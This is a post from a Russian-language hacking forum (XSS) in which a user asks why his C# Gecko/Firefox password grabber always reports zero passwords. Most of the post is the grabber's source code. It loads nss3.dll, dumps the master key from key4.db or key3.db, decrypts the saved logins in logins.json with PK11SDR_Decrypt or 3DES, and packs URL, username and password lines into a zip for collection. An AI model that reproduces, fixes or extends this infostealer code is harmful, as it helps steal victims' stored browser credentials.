• XSS.stack #1 – первый литературный журнал от юзеров форума

Вопрос по работе класса

shockall

floppy-диск
Пользователь
Регистрация
09.05.2024
Сообщения
2
Реакции
0
Доброго времени суток, нужна помощь, На c# реализован класс для граба паролей gecko, но по окончанию работы программы, количество паролей постоянно 0, в чем может быть проблема?
C#:
public static class NSSDecryptor
{
    public struct SECItem
    {
        public int Type;

        public IntPtr Data;

        public int Len;
    }

    [DllImport("nss3.dll", CallingConvention = CallingConvention.Cdecl)]
    private static extern int NSS_Init(string configdir);

    [DllImport("nss3.dll", CallingConvention = CallingConvention.Cdecl)]
    private static extern int NSS_Shutdown();

    [DllImport("nss3.dll", CallingConvention = CallingConvention.Cdecl)]
    private static extern int PK11SDR_Decrypt(ref SECItem data, ref SECItem result, int cx);

    public static bool Initialize(string profilePath)
    {
        try
        {
            string text = "C:\\Program Files\\Mozilla Firefox";
            if (!Directory.Exists(text))
            {
                return false;
            }
            string environmentVariable = Environment.GetEnvironmentVariable("PATH");
            environmentVariable = environmentVariable + ";" + text;
            Environment.SetEnvironmentVariable("PATH", environmentVariable);
            return NSS_Init(profilePath) == 0;
        }
        catch
        {
            return false;
        }
    }

    public static string Decrypt(string base64)
    {
        try
        {
            byte[] array = Convert.FromBase64String(base64);
            if (array.Length == 0)
            {
                return null;
            }
            SECItem data = new SECItem
            {
                Data = Marshal.AllocHGlobal(array.Length),
                Len = array.Length,
                Type = 0
            };
            Marshal.Copy(array, 0, data.Data, array.Length);
            SECItem result = default(SECItem);
            int num = PK11SDR_Decrypt(ref data, ref result, 0);
            Marshal.FreeHGlobal(data.Data);
            if (num != 0 || result.Data == IntPtr.Zero)
            {
                return null;
            }
            byte[] array2 = new byte[result.Len];
            Marshal.Copy(result.Data, array2, 0, result.Len);
            return Encoding.UTF8.GetString(array2);
        }
        catch
        {
            return null;
        }
    }
}
C#:
private void Password(InMemoryZip zip, Counter.CounterBrowser counterBrowser, string profile, string profilename, string browsername)
{
    string path = Path.Combine(profile, "logins.json");
    if (!File.Exists(path))
    {
        return;
    }
    string path2 = Path.Combine(profile, "key4.db");
    string path3 = Path.Combine(profile, "key3.db");
    byte[] masterKey = null;
    if (File.Exists(path2))
    {
        masterKey = NssDumpMasterKey.Key4Database(path2);
    }
    else if (File.Exists(path3))
    {
        masterKey = NssDumpMasterKey.Key3Database(path3);
    }
    if (masterKey == null && !NSSDecryptor.Initialize(profile))
    {
        return;
    }
    string text = File.ReadAllText(path);
    if (string.IsNullOrEmpty(text))
    {
        return;
    }
    MatchCollection matchCollection = Regex.Matches(text, "\"hostname\":\\s*\"(.*?)\".*?\"encryptedUsername\":\\s*\"(.*?)\".*?\"encryptedPassword\":\\s*\"(.*?)\"", RegexOptions.Singleline);
    if (matchCollection.Count == 0)
    {
        return;
    }
    ConcurrentBag<string> lines = new ConcurrentBag<string>();
    Parallel.ForEach(matchCollection.Cast<Match>(), delegate(Match match)
    {
        string value = match.Groups[1].Value;
        string value2 = match.Groups[2].Value;
        string value3 = match.Groups[3].Value;
        string text2 = "";
        string text3 = "";
        if (masterKey == null)
        {
            text2 = NSSDecryptor.Decrypt(value2);
            text3 = NSSDecryptor.Decrypt(value3);
        }
        else
        {
            Asn1Der asn1Der = new Asn1Der();
            byte[] toParse = Convert.FromBase64String(value2);
            byte[] toParse2 = Convert.FromBase64String(value3);
            Asn1DerObject asn1DerObject = asn1Der.Parse(toParse);
            Asn1DerObject asn1DerObject2 = asn1Der.Parse(toParse2);
            byte[] data = asn1DerObject.Objects[0].Objects[1].Objects[1].Data;
            byte[] data2 = asn1DerObject.Objects[0].Objects[1].Objects[0].Data;
            byte[] data3 = asn1DerObject2.Objects[0].Objects[1].Objects[1].Data;
            byte[] data4 = asn1DerObject2.Objects[0].Objects[1].Objects[0].Data;
            text2 = TripleDes.DecryptStringDesCbc(masterKey, data, data2);
            text3 = TripleDes.DecryptStringDesCbc(masterKey, data3, data4);
        }
        text2 = (string.IsNullOrEmpty(text2) ? "" : Regex.Replace(text2, "[^\\u0020-\\u007F]", ""));
        text3 = (string.IsNullOrEmpty(text3) ? "" : Regex.Replace(text3, "[^\\u0020-\\u007F]", ""));
        if (!string.IsNullOrEmpty(value) && !string.IsNullOrEmpty(text2) && !string.IsNullOrEmpty(text3))
        {
            lines.Add("URL: " + value + "\nUsername: " + text2 + "\nPassword: " + text3 + "\n\n");
            ++counterBrowser.Password;
        }
    });
    zip.AddTextFile("Browser/Logins/" + browsername + "_" + profilename + ".txt", string.Join("", lines.ToList()));
}
Был бы очень раз за разьяснение! 🙏
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх